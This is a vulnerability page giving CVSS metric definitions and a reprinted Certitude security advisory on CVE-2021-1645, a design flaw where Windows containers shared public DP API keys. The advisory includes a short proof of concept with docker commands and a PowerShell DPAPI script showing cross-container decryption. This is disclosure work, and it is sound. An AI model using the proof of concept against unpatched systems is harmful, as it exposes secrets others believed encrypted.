The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Windows Containers DP API Cryptography Flaw
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ Certitude Security Advisory - CSA-2021-002 ~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
PRODUCT : Windows Containers
VENDOR : Microsoft
SEVERITY : High
AFFECTED VERSION : Windows 10, Windows Server
IDENTIFIERS : CVE-2021-1645
PATCH VERSION : KB4598229, KB4598230, KB4598242, KB4598243
FOUND BY : Marc Nimmerrichter, Certitude Lab
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Introduction
------------
Windows containers is a feature that extends the container concept well-known
from Linux environments to Windows. Just like containers on Linux, Windows
containers utilize a shared kernel but container processes are somewhat
isolated from one another.
The Windows Data Protection API (DP API) allows applications to encrypt
arbitrary data. An application does not have to manage keys, but instead, any
data can be passed to the API, which then returns an encrypted blob.
Similarly, an application can pass a previously encrypted blob to DP API to
retrieve the plain text. The cryptographic key used for these encryption
operations is either tied to the user context or is unique to a machine.
There was a design issue with DP API in containers which resulted in DP API
using the same key in all containers. Additionally, these keys were public in
base-image layers published by Microsoft.
Organizations using DP API inside containers should apply patches to Windows
and use the latest base images. However, the fix causes a design change, which
might render the use of DP API difficult for many use-cases.
Vulnerability Overview
----------------------
The vulnerability described applies to both, user- and machine-key DP API
encryption within Windows Docker containers. In our description we will use
machine key encryption, but the same issue exists if data is encrypted with
the user-key.
Normally, a machine key is tied to a (virtual-)machine. Therefore, a machine
is not able to decrypt data encrypted by an application on another machine.
However, due to a design issue, DP API machine keys used in containers came
from the container images. Since Windows docker images are based on the same
base images, the DP API keys of containers were identical. As the base image
is public, the DP API keys were public too!
Therefore, DP API operations performed by any Windows container application
were ineffective, as the encryption key that was used is public. Organizations
that used DP API in Windows Docker containers and relied on it to store
encrypted data in a potentially insecure location, should consider this data
as compromised.
Proof-of-Concept
----------------
First, start a docker container called Alice on VM1:
\$ docker run --name Alice -it
mcr.microsoft.com/dotnet/framework/runtime:4.8-windowsservercore-ltsc2019
cmd.exe
Then, encrypt a file in the Alice container using the powershell script
vault.ps1:
C:\>powershell.exe -File vault.ps1 -StoreSecret "This is my secret text"
secret.txt
C:\>type secret.txt
AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAm+1a2TNbiEahEIB4y/C3vQAAAAACAAAAAAAQZgAAAAEAACAAAAAdbJ9ZanY929j39ZLgabsaE5hRS4TLkCaaaRqb
+n3ZXAAAAAAOgAAAAAIAACAAAAC7fHbsKHCTaMhsWIVMYwUZezbLozItcqExHdg9EJcfDiAAAABFv2EHA5TTqb8I9I+BZrfQS5ViD93KZlL4FoYIBldGY0AA
AABdx7adlANRnw1shJTOtE6cYTAeqmb1yTe9adcSY1nBvtqlqSWQ/zwGaqfIfumuUm+o+ySwZXH/Su5GovJ8aUP9
Start a docker container Bob on VM2:
\$ docker run --name Bob -it
mcr.microsoft.com/dotnet/framework/runtime:4.8-windowsservercore-ltsc2019
cmd.exe
The following command shows that the file encrypted by Alice on VM1 can be
decrypted in the Bob container on VM2:
C:\>powershell.exe -File vault.ps1 secret.txt
This is my secret text
The vault.ps1 PowerShell script from
https://blag.nullteilerfrei.de/2018/01/05/powershell-dpapi-script/ used in
this PoC:
``` {.powershell```}
Param(
[string] $StoreSecret,
[Parameter(Mandatory=$True,Position=0)]
[string] $filename )
[void] [Reflection.Assembly]::LoadWithPartialName("System.Security")
$scope = [System.Security.Cryptography.DataProtectionScope]::CurrentUser
if ($StoreSecret -eq "") {
$data = Get-Content $filename
$ciphertext = [System.Convert]::FromBase64String($data)
$plaintext = [System.Security.Cryptography.ProtectedData]::Unprotect(
$ciphertext, $null, $scope )
[System.Text.UTF8Encoding]::UTF8.GetString($plaintext)
} else {
$plaintext = [System.Text.UTF8Encoding]::UTF8.GetBytes($StoreSecret)
$ciphertext = [System.Security.Cryptography.ProtectedData]::Protect(
$plaintext, $null, $scope )
[System.Convert]::ToBase64String($ciphertext) > $filename
}
```
Resolution
----------
Microsoft fixed this vulnerability with a patch for Windows Server and Windows
10 operating systems and in their docker base-images. Users should apply both,
OS updates and base-image updates, to address this issue. Please also refer to
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1645.
However, the patch comes with a caveat: As the issue is a design problem, it
could not be fixed in a straightforward way. Windows containers now generate a
DP API key when the container is first started. This also means that all
containers use different keys. There is currently no supported way to share
keys between containers or transfer a key from one container to another. This
is impractical, because containers are often relatively short-lived. Moreover,
when a container is scaled up, new containers will not be able to work with
previously encrypted blobs. This reduces the potential use-cases of DP API
with containers.
References
----------
https://certitude.consulting/blog/en/windows-docker-dp-api-vulnerability-cve-2021-1645/
https://certitude.consulting/advisories/CSA_2021_002_Windows_Docker_DP_API_Design_Vulnerability.md.txt
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1645
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(c) 2021 Certitude Consulting GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~